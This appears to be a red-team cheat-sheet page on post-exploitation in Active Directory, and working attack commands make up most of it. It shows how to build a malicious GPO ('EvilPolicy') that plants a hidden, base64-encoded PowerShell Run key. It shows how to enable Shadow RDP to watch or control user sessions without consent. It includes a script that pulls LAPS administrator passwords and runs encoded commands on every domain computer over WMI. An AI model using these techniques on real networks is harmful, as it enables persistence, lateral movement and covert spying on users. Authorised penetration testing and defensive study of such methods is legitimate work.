Post Exploitation

Post Exploitation in Active Directory


Identify the OU containing the VICTIM-PC object:
PS > Add-WindowsFeature -Name "RSAT-AD-PowerShell"
PS > Import-Module ActiveDirectory
PS > Get-ADComputer -Identity VICTIM-PC | select DistinguishedName
Create a GPO using GPMC:
  1. 1.
    Run > gpmc.msc.
  2. 2.
    Create a new GPO in the OU in which VICTIM-PC resides.
  3. 3.
    Remove Authenticated Users from Security Filtering and add VICTIM-PC there.
  4. 4.
    Link it to the OU and edit it.
Usually, it takes between 90 and 120 minutes for a new GPO to be applied. Force it with:
Cmd > gpudate.exe /force
Enable RDP
Allow RDP Connections
Edit Local Administrators Membership
Enable Shadow RDP
Immediate Scheduled Task
Computer Configuration
Administrative Templates
Windows Components
Remote Desktop Services
Remote Desktop Session Host
Allow users to connect remotely using Remote Desktop Services
Enabled, OK
Computer Configuration
Windows Settings
Security Settings
Windows Defender Firewall with Advanced Security
Inbound Rules
(right-click) New Rule
Predefined (Remote Desktop)
Allow the connection, Finish
Computer Configuration
Control Panel Settings
Local Users and Groups
(right-click) New > Local Group
Group name (...)
Members (Add), OK
Apply, OK
Computer Configuration
Administrative Templates
Windows Components
Remote Desktop Services
Remote Desktop Session Host
Set rules for remote control of Terminal Services user sessions
Enabled + Options (Full Control without user's permission), OK
Computer Configuration
Control Panel Settings
Scheduled Tasks
(right-click) New > Immediate Task (At least Windows 7)

Reach a Locked-down Domain Computer

If you find yourself in a situation when you're already a domain admin and you need to access a locked-down domain computer (no RDP/WinRM, no SMB shares, no owned local admins, etc.), creating an evil GPO may help.
Create a GPO using PowerShell (will trigger a command when the victim user logs in):
PS > Add-WindowsFeature -Name "GPMC"
PS > Import-Module GroupPolicy
PS > New-GPO -Name EvilPolicy -Domain megacorp.local -Server DC01.megacorp.local
PS > Set-GPPermission -Name EvilPolicy -Replace -PermissionLevel GpoApply -TargetName "victim.user" -TargetType User
PS > Set-GPPermission -Name EvilPolicy -Replace -PermissionLevel GpoApply -TargetName "VICTIM-PC" -TargetType Computer
PS > Set-GPPermission -Name EvilPolicy -PermissionLevel None -TargetName "Authenticated Users" -TargetType Group
PS > New-GPLink -Name EvilPolicy -Domain megacorp.local -Target "<TARGET_OU>" -Order 1 -Enforced Yes
PS > Set-GPRegistryValue -Name EvilPolicy -Key "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName MSstart -Type String -Value "powershell.exe -NoP -sta -NonI -W Hidden -Exec Bypass -Enc <BASE64_CMD>"

Shadow RDP

Enable Shadow RDP via group policies or by manually setting the registry and connect to an active session on the target machine:
PS > Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" -Name "Shadow"
PS > New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" -Name "Shadow" -PropertyType "DWORD" -Value 4
Cmd > qwinsta.exe /server:
Cmd > mstsc.exe /v: /shadow:<ID> /noConsentPrompt [/control]
PS > Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" -Name "Shadow"
Firewall rule Remote Desktop - Shadow (TCP-In) should be enabled on the target.

Run on Domain Computers

An example PowerShell script to execute commands as a local admin on all domain computers pulling LAPS passwords automatically:
# Save with Encoding "UTF-8 with BOM"
[System.Console]::OutputEncoding = [System.Text.Encoding]::UTF8
$ErrorActionPreference = "Stop"
$command = '[System.Console]::OutputEncoding = [System.Text.Encoding]::UTF8; '
$command += 'whoami > C:\Windows\Temp\whoami.txt 2>&1'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | ? {$ -ne $(hostname)} | select name,ms-Mcs-AdmPwd | ForEach-Object {
$comp = $_."name"
$pass = $_."ms-Mcs-AdmPwd"
if (Test-Connection -BufferSize 32 -Count 1 -ComputerName $comp -Quiet) {
try {
$cred = New-Object System.Management.Automation.PSCredential("$comp\administrator", $(ConvertTo-SecureString $pass -AsPlainText -Force))
$proc = Invoke-WmiMethod Win32_Process -Name Create -ArgumentList ("powershell -enc $encodedCommand") -ComputerName $comp -Credential $cred
do {
Write-Host -ForegroundColor Green "[*] Waiting for script to finish on $comp"
Start-Sleep -Seconds 2
} until ((Get-WmiObject -Class Win32_Process -Filter "ProcessId=$proc.ProcessId" -ComputerName $comp -Credential $cred | where {$_.ProcessId -eq $proc.ProcessId}).ProcessId -eq $null)
net use "\\$comp" /user:administrator $pass 2>&1 | Out-Null
Get-Content "\\$comp\C$\Windows\Temp\whoami.txt"
Remove-Item "\\$comp\C$\Windows\Temp\whoami.txt" -Force
net use "\\$comp" /delete 2>&1 | Out-Null
catch {
Write-Host -ForegroundColor Red "[-] Connection failure: $comp"
else {
Write-Host -ForegroundColor Yellow "[!] Connection timed out: $comp"
Last modified 7mo ago